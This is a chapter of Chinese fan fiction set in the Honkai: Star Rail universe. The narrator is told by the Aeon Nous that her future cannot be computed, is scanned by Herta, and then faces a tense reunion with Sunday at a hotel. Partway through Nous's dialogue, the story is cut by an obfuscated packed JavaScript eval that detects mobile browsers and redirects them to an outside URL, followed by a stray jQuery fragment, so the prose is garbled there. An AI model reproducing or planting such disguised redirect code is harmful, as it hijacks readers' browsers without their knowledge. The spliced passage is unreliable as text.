17. 觐见博识尊(第2页)
没有华丽的投影,没有震撼的能量波动,只有一种近乎压迫的“存在感”,仿佛整个宇宙的知识突然具现化,压缩在这片狭小的空间里。
我站在观测台中央,没戴面具,没做伪装,甚至连铜蛇杖都丢在了一旁。
博识尊的声音不是通过听觉传来的,而是直接在我的思维中响起,像无数数据流强行灌入大脑。
“奇点,悖论,命途里的不确定数。”
我眯起眼,体内的四重能量微微躁动,丰饶、毁灭、繁育、影骸,它们似乎对星神的注视产生了本能的排斥。
“但您还是计算到了我。” 我故意用敬语,但语气里全是挑衅。
观测室的墙壁突然浮现出无数虚数方程,它们像活物般流动、重组,最终定格在一组不断变化的概率云上
命途干涉率:89.7%
最后一行被刻意模糊了。
我抬手指向那行模糊的数据:“能不能算一下,我以后能不能成为星神啊?”
博识尊的“目光”落在我身上,那一瞬间,我感觉自己的存在被彻底解析,从细胞结构到命途纠缠,从记忆碎片到未来可能性,一切都被摊开在某种超越认知的审视下。
然后,祂给出了答案:
“悖论的命途,存在即悖论,消亡即悖论。”
“……听不懂。”
观测室的灯光突然暗了一瞬,墙壁上的方程疯狂重组,最终凝结成一段我能勉强理解的“翻译”:
“你的存在本身就在扭曲命途逻辑。”
“若你成为星神,则命途体系崩溃,若你不成为星神,则命途体系依然崩溃。”
“因此,计算结果为:0”
我盯着那段话,突然笑了:“所以您算不出来?”
博识尊的回应带着近乎人性的微妙停顿:
“不,我算出了所有可能性
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15757111|174351||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”?“但你的未来……被‘■■■■■’遮蔽了。”
我向前一步:“‘■■■■■’是什么?某种加密?还是您也看不透的东西?”
博识尊的“目光”移向我的胸口——影骸蛰伏的位置。
“影骸是未被观测的量子态。” 祂的声音罕见地带上了一丝近似兴趣的波动,“而你的意识正在污染它。”
我皱眉:“说人话。”
墙壁上的方程突然坍缩,重组为一幅动态图景:
一个模糊的人形站在虚数洪流中,身体由四色能量交织而成;
祂抬手轻点,一颗恒星无声湮灭,但湮灭的残骸中又诞生出新的星系;
最终,画面定格在那个人形的脸部,没有五官,只有一行闪烁的符号:■■■■■。
“这就是你的可能性” 博识尊说,“一个同时存在与不存在的星神。”
“对话结束” 星神的声音逐渐远去,“七日后,你会得到答案。”
随着最后一丝压迫感消失,观测室的灯光恢复正常,只剩下我和黑塔的投影面面相觑。
“……祂什么意思?” 我揉着太阳穴,脑内残留的数据流让我有点恶心。
黑塔的像素眼睛翻了个白眼:
“意思是——七天后,你要么成神,要么成灰。现在,滚去医疗舱做全面检查!”
医疗舱里,黑塔人偶正用扫描仪怼着我的胸口,嘴里喋喋不休:
“繁育能量活性超标17%,毁灭侵蚀率回升到9%,影骸稳定性……等等,这是什么?!”
扫描仪突然发出尖锐的警报,屏幕上跳出一行乱码:
“检测到未知命途印记:■■■■■”
我盯着那串符号,突然想起博识尊最后的话。
“七日后,你会得到答案。”
我咧嘴一笑,看向窗外的星空:
“行啊,我等着。”
我站在白日梦酒店的大厅里,看着前台识别系统闪烁红光,机械音冰冷地重复:
“识别失败——访问权限已注销。”
前台接待员是个年轻男孩,额角渗出细密的汗珠,手指在光屏上慌乱滑动。
“女士,实在抱歉……”他声音发紧,“您的权限是星期日先生亲自取消的。”
我挑眉:“哦?”
他咽了咽口水,又补充道:“但……但星期日先生也吩咐过,如果您出现,我们必须立刻通知他,请您务必等候。”
我嗤笑一声,转身就走:“那我改天再来。”
刚迈出两步,两名身着银灰制式的护卫无声拦在门前。
“女士,”前台的声音更虚了,“请您……稍等片刻。”
十分钟后,电梯门滑开。
星期日走了出来。
他今天没穿那套繁复的礼服,只套了件简单的白色高领衬衫,袖口别着那枚标志性的金羽袖扣。他的金瞳在酒店水晶灯下显得格外冰冷,像两块淬了火的琥珀。
“你还敢回来?”他开口,声音比上次见面时更沉。
我懒洋洋地靠在接待台边,顺手从果盘里捏了颗葡萄:“才几天不见,我回来看我妹妹,和你有什么关系?”
他嘴角绷紧:“知更鸟在银河歌姬巡演,三个月内不会回匹诺康尼。”
“哦,”我慢悠悠剥着葡萄皮,“那顺便看看我弟弟。”
空气骤然凝固。
他的金瞳微微收缩,视线落在我身上,我知道他感觉到了,我体内那股躁动的能量,那些纠缠的命途。
“你身上带着什么?”他声音压得极低。
我笑着将葡萄丢进嘴里,汁水在唇齿间迸开:“你猜?”
他盯着我看了很久。
久到前台已经缩着脖子躲到了柜台下,久到护卫们的手指悄悄按上了武器。
最后,他从西装内袋里取出一张房卡,推到我面前。
“给你留着的。”他说。
我低头看去,那是顶层套房的磁卡,边缘镀着暗金色的纹路,和当年我住在这里时一模一样。
“有意思。”我两指夹起房卡,“取消我的权限,又给我留房间?”
他的金瞳在灯光下微微闪烁:“权限是给家族成员的。”
“而这间房,”他转身走向电梯,“是给你的。”
电梯门合上前,我最后看了他一眼。
“你还是这么怀旧,弟弟。”
他背对着我,肩线绷得很紧,但终究没有反驳。